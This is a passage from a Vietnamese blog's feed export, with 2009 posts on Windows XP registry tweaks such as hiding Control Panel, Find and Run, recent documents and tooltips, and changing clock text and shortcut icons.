&lt;/td&gt;           &lt;td bgcolor="#d4d0c8" width="34%"&gt;&amp;nbsp;Data&lt;br /&gt;
&lt;/td&gt;         &lt;/tr&gt;
&lt;tr&gt;           &lt;td colspan="3" width="100%"&gt;&lt;table border="0" bordercolor="#111111" cellpadding="0" cellspacing="0" id="AutoNumber14" style="width: 469px;"&gt;&lt;tbody&gt;
&lt;tr&gt;                 &lt;td width="42%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;(Default)&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="28%"&gt;&amp;nbsp;REG_SZ&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="30%"&gt;&amp;nbsp;(not set   value)&lt;br /&gt;
&lt;/td&gt;               &lt;/tr&gt;
&lt;tr&gt;                 &lt;td width="42%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;MenuDropAlignment&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="28%"&gt;REG_SZ&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="30%"&gt;1&lt;br /&gt;
&lt;/td&gt;               &lt;/tr&gt;
&lt;/tbody&gt;           &lt;/table&gt;&lt;/td&gt;         &lt;/tr&gt;
&lt;tr&gt;           &lt;td bgcolor="#d4d0c8" colspan="3" width="100%"&gt;My Computer\ HKEY_CURRENT_USER\ Control Panel\   Desktop&lt;br /&gt;
&lt;/td&gt;         &lt;/tr&gt;
&lt;/tbody&gt;     &lt;/table&gt;&lt;/div&gt;&lt;strong&gt;User Key:&lt;/strong&gt; HKEY_CURRENT_USER\ Control Panel\ Desktop&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Name:&lt;/strong&gt; MenuDropAlignment&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Type:&lt;/strong&gt; REG_SZ &lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Value:&lt;/strong&gt; 0 - sổ bên trái, 1 -   sổ bên phải&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;8.Tắt ToolTips ở các nút Maximum, Minimum, Restore, Close trên các cửa sổ. &lt;br /&gt;
Khi di chuyển chuột đến các nút Mininum, Maxinum, Restore, Close Windows sẽ tự động hiện một dòng hướng dẫn (ToolTips) cho biết tác dụng của nút đó. Đối với người biết sử dụng máy tính như chúng ta thì tắt nó đi để tiết kiệm năng lượng cho máy, đỡ nhức mắt.&lt;br /&gt;
&lt;br /&gt;
Tỉm đến khoá được chỉ ra bên dưới trong Registry Editor, tạo một giá trị mới với tên "MinMaxClose" nếu chưa có và nhập dữ liệu cho nó là 0 để tắt dòng hướng dẫn dư thừa đó đi.&lt;br /&gt;
&lt;br /&gt;
&lt;div align="center"&gt;&lt;table border="1" bordercolor="#111111" cellpadding="0" cellspacing="0" id="AutoNumber16" style="width: 482px;"&gt;&lt;tbody&gt;
&lt;tr&gt;           &lt;td bgcolor="#336699" colspan="3"&gt;&lt;strong&gt;Minh họa trong Registry Editor&lt;/strong&gt;&lt;br /&gt;
&lt;/td&gt;         &lt;/tr&gt;
&lt;tr&gt;           &lt;td bgcolor="#d4d0c8" width="44%"&gt;&amp;nbsp;Name&lt;br /&gt;
&lt;/td&gt;           &lt;td bgcolor="#d4d0c8" width="27%"&gt;&amp;nbsp;Type&lt;br /&gt;
&lt;/td&gt;           &lt;td bgcolor="#d4d0c8" width="29%"&gt;&amp;nbsp;Data&lt;br /&gt;
&lt;/td&gt;         &lt;/tr&gt;
&lt;tr&gt;           &lt;td colspan="3"&gt;&lt;table border="0" bordercolor="#111111" cellpadding="0" cellspacing="0" id="AutoNumber17" style="width: 475px;"&gt;&lt;tbody&gt;
&lt;tr&gt;                 &lt;td width="44%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;(Default)&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="28%"&gt;&amp;nbsp;REG_SZ&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="28%"&gt;&amp;nbsp;(not set   value)&lt;br /&gt;
&lt;/td&gt;               &lt;/tr&gt;
&lt;tr&gt;                 &lt;td width="44%"&gt;&lt;img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s320/a.JPG" /&gt;MinMaxClose&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="28%"&gt;REG_SZ&lt;br /&gt;
&lt;/td&gt;                 &lt;td width="28%"&gt;0&lt;br /&gt;
&lt;/td&gt;               &lt;/tr&gt;
&lt;/tbody&gt;           &lt;/table&gt;&lt;/td&gt;         &lt;/tr&gt;
&lt;tr&gt;           &lt;td bgcolor="#d4d0c8" colspan="3"&gt;My Computer\ HKEY_CURRENT_USER\ Control Panel\   Desktop&lt;br /&gt;
&lt;/td&gt;         &lt;/tr&gt;
&lt;/tbody&gt;     &lt;/table&gt;&lt;/div&gt;&lt;strong&gt;User Key:&lt;/strong&gt; HKEY_CURRENT_USER\ Control Panel\ Desktop&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Name:&lt;/strong&gt; MinMaxClose&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Type:&lt;/strong&gt; REG_SZ &lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Value:&lt;/strong&gt; 0 - ẩn, 1 - hiện&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;</description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiwkcjZr8k6kP0wRVKGoSVXGbzbpC2BR3Vxm_BugGiB-DYC5Dr2NrTGLFDp9qmhUI4M8G4Jww2rTaR7xXQw__Gf8njqLLJsJ7Og23D9eJUQdSCOwR32WminQa1iLVDwbPGDbK9PQrYWf4/s72-c/a.JPG" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total></item><item><title>Kiến thức Windows Registry - Phần VIII</title><link>http://blogthuthuatvn.blogspot.com/2009/10/kien-thuc-windows-registry-phan-viii.html</link><category>Thủ thuật dành cho winxp</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Mon, 12 Oct 2009 08:13:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-6328929434125064183</guid><description>&lt;p style="font-weight: bold; font-family: arial;" class="psubtitle"&gt;&lt;span style="color: blue;"&gt;Không cho hiển thị Control  Panel&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Đối với các máy tính dung chung, để tránh cho những thiết lập của  bạn bị thay đổi hay tinh chỉnh trong hệ thống thông qua Control Panel, bạn có  thể ẩn Control Panel, không cho hiển thị nó bằng cách thiết lập thông số trong  Registry như sau:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Tìm đến khóa trong Registry Editor: &lt;br /&gt;HKEY_CURRENT_USER\Software\  Microsoft\Windows\CurrentVersion\Policies\Explorer&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Phải chuột ở cửa sổ bên phải, chọn New – Binary Value, đặt tên  là: NoSetFolders&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Double click vào NoSetFolders, nhập giá trị: 01 00 00 00 vào  khung Value Data của hộp thoại Edit Binary Value.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Thoát ra và khởi động lại máy tính để xem thay đổi.  &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Khi bạn muốn Control Panel hiển thị trở lại, thay giá trị cho  NoSetFolders là: 00 00 00 00.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Ngoài ra, ta cũng có thể cho phép hiển thị Control Panel nhưng  lại ẩn đi các thành phần trong đó hoặc ngăn chặn việc thay đổi các thiết lập.  &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Trong Registry Editor, tìm đến khóa: &lt;br /&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Nhấn phải chuột vào khóa Policies ở cửa sổ bên trái, chọn New –  Key, đặt tên là System.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Phải chuột lên System rồi chọn New – DWORD Value. Tùy thuộc vào  cách thiết lập cho thành phần nào trong Control Panel mà ta đặt tên cho DWORD  Value vừa tao như sau: (một vài thiết lập cho Registry trong Windows  98)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- NoSecCPL: Ngăn không cho truy cập mục Password&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- NoPWDPage: Ẩn giấu “Change Password”&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- NoProfilePage: Ẩn phần “User profiles”&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- NoDispBackgroundPage: Ẩn phần background&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- NoDispScrSavPage: Ẩn phần screensaver&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- NoActiveDesktopChanges: ẩn phần thay đổi desktop&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- NoDevMgrPage: Ẩn phần Device Manager trong  System&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- NoConfigPage: Ẩn phần “Hardware Profile”.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Nhập giá trị 1 vào khung Value Data của hộp thoại Edit DWORD  Value&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Tắt Registry Editor và khởi động lại máy để thực thi thay đổi.  Nếu muốn khôi phục lại thiết lập cũ, bạn chỉ cần xóa đi hoặc thay đổi giá trị là  0.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pintertitle"&gt;&lt;span style="color: blue;"&gt;Hiển thị tên bạn trên System  Tray   &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Đây chỉ là một mẹo nhỏ nhằm thay đổi dòng chữ AM, PM ở kế phần  hiển thị thời gian của System Tray. Đầu tiên, bạn vào Registry  Editor:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Tìm đến khóa: HKEY_CURRENT_USER\Control  Panel\International&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Xem bên cửa sổ bên phải, tìm giá trị s1159 (thông thường có sẵn  ở Windows XP, nếu không có bạn có thể tạo New – String Value với tên  s1159)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Nhấn double click vào s1159 và điền vào tên bạn. Ví dụ:  TP143&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Tìm đến giá trị thứ 2 là s2359, và điền vào tên trùng với  s1159&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Tìm đến giá trị thứ 3 là sTimeFormat . double click và điền vào  giá trị: hh:mm:ss:tt hoặc tt:hh:mm&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Thoát ra và khởi động lại máy để thực thi thay  đổi.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="psubtitle"&gt;&lt;span style="color: blue;"&gt;Tự tạo nội dung InfoTip cho  MyDocuments&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Thủ thuật này hướng dẫn bạn thay đổi InfoTip hiện tại của Windows  (nằm trong shell32.dll) cho MyDocuments thành nội dung tùy ý.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Vào Registry Editor, tìm đến khóa: &lt;br /&gt;HKEY_CLASSES_ROOT\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Bên cửa sổ phải, nhấn double click vào InfoTip&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Thay đổi đường dẫn hiện tại trong khung Value Data của hộp  thoại Edit String với nội dung mà bạn muốn. Ví dụ: MyDocuments bài viết TP143 –  TTO.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Đóng registry Editor và refesh hoăc khởi động lại máy để thực  thi thay đổi.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="psubtitle"&gt;&lt;span style="color: blue;"&gt;Ẩn Documents trên menu  Start&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Thủ thuật này nhằm loại bỏ mục Documents (recent docs) trên Menu  Start. Khi bạn mở bất kỳ một tập tin nào đó, Windows sẽ tự động lưu lại như là  một recent docs mà bạn có thể truy xuất nhanh trong Documents trên menu Start.  Để xóa các tập tin này, bạn có thể vào Start – Run, gõ recent rồi Enter. Cửa sổ  Recent Docs sẽ xuất hiện, bạn chỉ cần lựa chọn hoặc xóa hết các tập tin shortcut  này. Nếu bạn muốn khóa luôn chức năng này của Windows thì có thể làm như  sau:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Vào Registry Editor, tìm đến khóa &lt;br /&gt;HKEY_CURRENT_USER\Software\  Microsoft\Windows\CurrentVersion\Policies\Explorer&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Bên cửa sổ phải, phải chuột chọn New – DWORD Value, đặt tên là  NoRecentDocsMenu&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Double click vào NoRecentDocsMenu, nhập vào giá trị là 1 cho  Value Data của hộp thoại Edit DWORD Value&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Thoát ra và khởi động lại máy. Vào menu Start để kiểm  tra.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Để hiển thị Documents trên menu Start trở lại, ta đặt giá trị cho  NoRecentDocsMenu là 0.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Kiến thức Windows Registry - Phần VII</title><link>http://blogthuthuatvn.blogspot.com/2009/10/kien-thuc-windows-registry-phan-vii.html</link><category>Thủ thuật dành cho winxp</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Mon, 12 Oct 2009 08:12:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-4282766631631442173</guid><description>&lt;p style="font-weight: bold; font-family: arial;" class="psubtitle"&gt;&lt;span style="color: blue;"&gt;Tắt mở Screensaver trên  desktop&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Các trình screensaver (trình bảo vệ màn hình) thường hoạt động  theo thời gian định trước, bạn có thể thay đổi mặc định này theo ý muốn kích  hoạt hay tắt screensaver bất cứ lúc nào bằng cách:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Mở Registry Editor, vào Start – Run, gõ “regedit”,  Enter.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Tìm đến  key:&lt;br /&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ScreenSavers&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Tạo một chuỗi mới (string) và đặt tên là Mouse  Corners.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Sửa giá trị của string mới này thành –Y-N rồi nhấn F5 để thực  hiện thay đổi trên registry. &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Thoát khỏi registry. Bây giờ, bạn đã có thể kích hoạt  screensaver bằng cách đặt trỏ chuột tại góc trên cùng bên phải của màn hình và  ngược lại, nếu muốn tắt screensaver, bạn cũng đặt trỏ chuột tại góc bên trái của  màn hình.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Nếu bạn muốn trở lại trạng thái ban đầu, chỉ cần vào lại  key:&lt;br /&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ScreenSavers &lt;br /&gt;và xoá Mouse Corners.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="psubtitle"&gt;&lt;span style="color: blue;"&gt;Xóa bỏ chức năng Find và Run  trên Menu Start&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Để ngăn ngừa việc tìm kiếm các tập tin hệ thống để chỉnh sửa hay  các chương trình độc hại được kích hoạt mà người khác có thể thực hiện thông qua  Find và Run trên Menu Start, bạn có thể gỡ bỏ hai chức năng  này với vài thao  tác trong Registry:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Mở Registry Editor, nhấn Start – run, gõ “regedit”,  Enter&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Tìm đến  key:&lt;br /&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Phải chuột trên cửa sổ bên phải, tạo một DWORD mới với tên là  NoFind&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Double click vào DWORD NoFind vừa tạo, và đặt giá trị là  1.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Thao tác vừa rồi sẽ giúp bạn gỡ bỏ chức năng FIND (tìm kiếm) trên  Menu Start của Windows, và đồng thời cũng khóa phím tắt F3 cho việc tìm kiếm. Để  gỡ bỏ chức năng RUN trên thanh Menu Start, bạn cũng làm theo các bước trên nhưng  đặt tên của DWORD là NoRun.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Để khôi phục lại các chức năng trên, bạn chỉ cần vào lại  key:&lt;br /&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer  và thay đổi giá trị của DWORD NoFind hay NoRun thành 0 hoặc xoá chúng  đi.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="psubtitle"&gt;&lt;span style="color: blue;"&gt;Tùy chọn mũi tên ở  shorcut&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Tất cả các shorcut đều có một mũi tên nhỏ màu đen ở phía dưới để  phân biệt với tập tin hay thư mục gốc. Nếu bạn cảm thấy khó chịu và muốn thay  đổi chúng, hãy mở Registry Editor ra và thực hiện các bước sau:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Tìm đến  key:&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Shell  Icons&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Một danh sách các icon sẽ hiển thị bên cửa sổ phải (Có thể  trong Windows 98 sẽ không có, nhưng bạn đừng quá lo, chỉ cần tạo  mới).&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Tìm đến giá trị thứ 29. Nếu không có, chỉ cần tạo mới. Giá trị  của chuỗi (string) này sẽ là: C:\Windows\system\shell32.dll, 29 (icon thứ 30  trong shell32.dll – icon đầu tiên bắt đầu từ 0).&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Bây giờ, bạn cần một icon trắng để thực hiện, bạn có thể tạo  icon cho mình với rất nhiều chương trình như của Axelis Icon Workshop. Sau khi  tạo xong icon cho riêng mình, bạn thay đổi giá trị 29 thành: C:\vsc\tp143.ico, 0  (bạn thay \vsc\tp143\ bằng đường dẫn đến tập tin icon của mình.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Bạn cũng có thể thực hiện theo ý mình với những icon khá thú vị  trong shell32.dll.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="psubtitle"&gt;&lt;span style="color: blue;"&gt;Thay đổi màu nền cho Outlook  Express&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Bạn đã nhàm chán với màu nền của Outloook Express, có thể chọn  lựa riêng cho mình một màu thật đúng với phong cách của bạn bằng  cách:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Mở Registry Editor, và tìm đến key:  HKEY_CURRENT_USER\Software\Microsoft\Internet Mail And News key. &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Bên cửa sổ trái, chọn ColorCycle và chọn Edit and Modify trong  menu. Thay đổi giá trị thành 1.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Đóng Registry Editor và Restart, sau đó bạn mở lại Outlook  Express.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Bây giờ, mỗi khi bạn sử dụng Outlook Express và tạo một tin  nhắn mới, hãy giữ Ctrl-Shift và gõ phím z để chọn lựa màu sắc làm nền cho tin  nhắn. Thực hiện lại thao tác trên để thay đổi màu sắc.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="psubtitle"&gt;&lt;span style="color: blue;"&gt;Ngăn Windows tải các tập tin  DLL&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Windows XP có một “thói quen xấu” là giữ các liên kết thư viện  động (dll), chúng tận dụng khá nhiều dung lượng bộ nhớ nên có thể ảnh hưởng đến  sự ổn định của hệ thống. Bạn có thể buộc Windows thay đổi “thói quen” này bằng  cách:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Mở registry Editor, tìm đến key:&lt;br /&gt;HKEY_LOCAL_MACHINE \  SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;- Tìm đến DWORD tên “AlwaysUnloadDLL”. Bạn có thể phải tạo nếu  không tìm thấy bằng cách phải chuột ở cửa sổ bên phải và tạo DWORD mới với tên  “AlwaysUnloadDLL”.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p class="pbody" style="margin-left: 36pt; text-indent: -18pt; font-weight: bold; font-family: arial;"&gt;-&lt;span style="font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;         &lt;/span&gt;Đặt giá trị thành 1 để buộc  Windows không tải các tập tin thư viện động (DLL).&lt;/p&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Kiến thức Windows Registry - Phần VI</title><link>http://blogthuthuatvn.blogspot.com/2009/10/kien-thuc-windows-registry-phan-vi.html</link><category>Thủ thuật dành cho winxp</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Mon, 12 Oct 2009 08:12:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-8451967477618990990</guid><description>&lt;p style="font-weight: bold; font-family: arial;"&gt;Trong phần này, bạn sẽ được làm quen với cách sao lưu và phục hồi đơn giản  cho registry, các thủ thuật nhỏ trong Internet Explorer và sửa chửa những tập  tin bị hư một cách dễ dàng. &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p  style="font-weight: bold;font-family:arial;" class="psubtitle"&gt;&lt;span style="color:blue;"&gt;Sao lưu và phục hồi hệ thống  Registry&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;Việc sao lưu hệ thống Registry rất quan trọng vì registry được  xem là “trái tim” của hệ điều hành, mỗi khi bạn thực hiện một thay đổi trong  registry cũng có nghĩa là bạn đã thay đổi cấu hình cho hệ thống. Khi xảy ra trục  trặc, bạn có thể làm theo các bước sau để khôi phục:&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt; &lt;p style="font-weight: bold; font-family: arial;" class="pbody"&gt;&lt;strong&gt;- Sao lưu các giá trị Registry:&lt;/strong&gt; Nhấn Start -  chọn Run, gõ “regedit” và nhấn OK. Trong menu File, bạn chọn “Export”. Trong hộp  thoại Save, chọn những hộp thoại bên dưới tùy ý để sao lưu từng nhánh giá trị  hay toàn bộ hệ thống Registry. Tiếp theo, bạn chọn lựa chỗ sao lưu tập tin *.reg  với tên tuỳ ý. Ví dụ: 